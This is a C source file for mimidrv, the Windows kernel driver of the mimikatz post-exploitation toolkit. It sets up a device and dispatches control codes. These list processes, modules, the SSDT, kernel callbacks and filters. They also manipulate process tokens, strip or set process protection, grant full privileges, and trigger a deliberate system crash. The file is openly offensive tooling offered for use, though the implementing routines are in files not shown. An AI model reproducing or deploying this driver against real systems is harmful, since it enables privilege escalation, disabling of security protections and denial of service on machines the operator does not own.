mimikatz/mimidrv/mimidrv.c

160 lines
4.7 KiB
C

/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "mimidrv.h"
UNICODE_STRING
uStrDriverName = {30, 32, L"\\Device\\" MIMIDRV},
uStrDosDeviceName = {38, 40, L"\\DosDevices\\" MIMIDRV};
NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
return STATUS_NOT_SUPPORTED;
}
void DriverUnload(IN PDRIVER_OBJECT theDriverObject)
{
IoDeleteSymbolicLink(&uStrDosDeviceName);
IoDeleteDevice(theDriverObject->DeviceObject);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{
NTSTATUS status = STATUS_NOT_SUPPORTED;
PDEVICE_OBJECT pDeviceObject;
ULONG i;
if(KiwiOsIndex = getWindowsIndex())
{
status = IoCreateDevice(theDriverObject, 0, &uStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
if(NT_SUCCESS(status))
{
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
theDriverObject->MajorFunction[i] = UnSupported;
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MimiDispatchDeviceControl;
theDriverObject->DriverUnload = DriverUnload;
pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
IoCreateSymbolicLink(&uStrDosDeviceName, &uStrDriverName);
status = AuxKlibInitialize();
}
}
return status;
}
NTSTATUS MimiDispatchDeviceControl(IN OUT DEVICE_OBJECT *DeviceObject, IN OUT IRP *Irp)
{
NTSTATUS status = STATUS_NOT_SUPPORTED;
PIO_STACK_LOCATION pIoStackIrp = NULL;
size_t szBufferIn, szBufferOut, szReallyOut = 0;
PVOID bufferIn, bufferOut;
KIWI_BUFFER kOutputBuffer = {&szBufferOut, (PWSTR *) &bufferOut};
ULONG i;
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
if(pIoStackIrp)
{
szBufferIn = pIoStackIrp->Parameters.DeviceIoControl.InputBufferLength;
szBufferOut = pIoStackIrp->Parameters.DeviceIoControl.OutputBufferLength;
bufferIn = pIoStackIrp->Parameters.DeviceIoControl.Type3InputBuffer;
bufferOut = Irp->UserBuffer;
switch(pIoStackIrp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_MIMIDRV_RAW:
status = kprintf(&kOutputBuffer, L"Raw command (not implemented yet) : %s\n", bufferIn);
break;
case IOCTL_MIMIDRV_PING:
status = kprintf(&kOutputBuffer, L"Input : %s\nOutput : %s\n", bufferIn, L"pong");
break;
case IOCTL_MIMIDRV_BSOD:
KeBugCheck(MANUALLY_INITIATED_CRASH);
break;
case IOCTL_MIMIDRV_PROCESS_LIST:
status = kkll_m_process_enum(szBufferIn, bufferIn, &kOutputBuffer, kkll_m_process_list_callback, NULL); // input needed ?
break;
case IOCTL_MIMIDRV_PROCESS_TOKEN:
status = kkll_m_process_token(szBufferIn, bufferIn, &kOutputBuffer);
break;
case IOCTL_MIMIDRV_PROCESS_PROTECT:
status = kkll_m_process_protect(szBufferIn, bufferIn, &kOutputBuffer);
break;
case IOCTL_MIMIDRV_PROCESS_FULLPRIV:
status = kkll_m_process_fullprivileges(szBufferIn, bufferIn, &kOutputBuffer);
break;
case IOCTL_MIMIDRV_MODULE_LIST:
status = kkll_m_modules_enum(szBufferIn, bufferIn, &kOutputBuffer, kkll_m_modules_list_callback, NULL); // input needed ?
break;
case IOCTL_MIMIDRV_SSDT_LIST:
status = kkll_m_ssdt_list(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_NOTIFY_PROCESS_LIST:
status = kkll_m_notify_list_process(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_NOTIFY_THREAD_LIST:
status = kkll_m_notify_list_thread(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_NOTIFY_IMAGE_LIST:
status = kkll_m_notify_list_image(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_NOTIFY_REG_LIST:
status = kkll_m_notify_list_reg(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_NOTIFY_OBJECT_LIST:
status = kkll_m_notify_list_object(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_FILTER_LIST:
status = kkll_m_filters_list(&kOutputBuffer);
break;
case IOCTL_MIMIDRV_MINIFILTER_LIST:
status = kkll_m_minifilters_list(&kOutputBuffer);
break;
}
if(NT_SUCCESS(status))
szReallyOut = pIoStackIrp->Parameters.DeviceIoControl.OutputBufferLength - szBufferOut;
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = szReallyOut;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
KIWI_OS_INDEX getWindowsIndex()
{
switch(*NtBuildNumber)
{
case 2600:
return KiwiOsIndex_XP;
break;
case 3790:
return KiwiOsIndex_2K3;
break;
case 6000:
case 6001:
case 6002:
return KiwiOsIndex_VISTA;
break;
case 7600:
case 7601:
return KiwiOsIndex_7;
break;
case 8102:
case 8250:
case 9200:
return KiwiOsIndex_8;
case 9431:
case 9600:
return KiwiOsIndex_BLUE;
break;
default:
return KiwiOsIndex_UNK;
}
}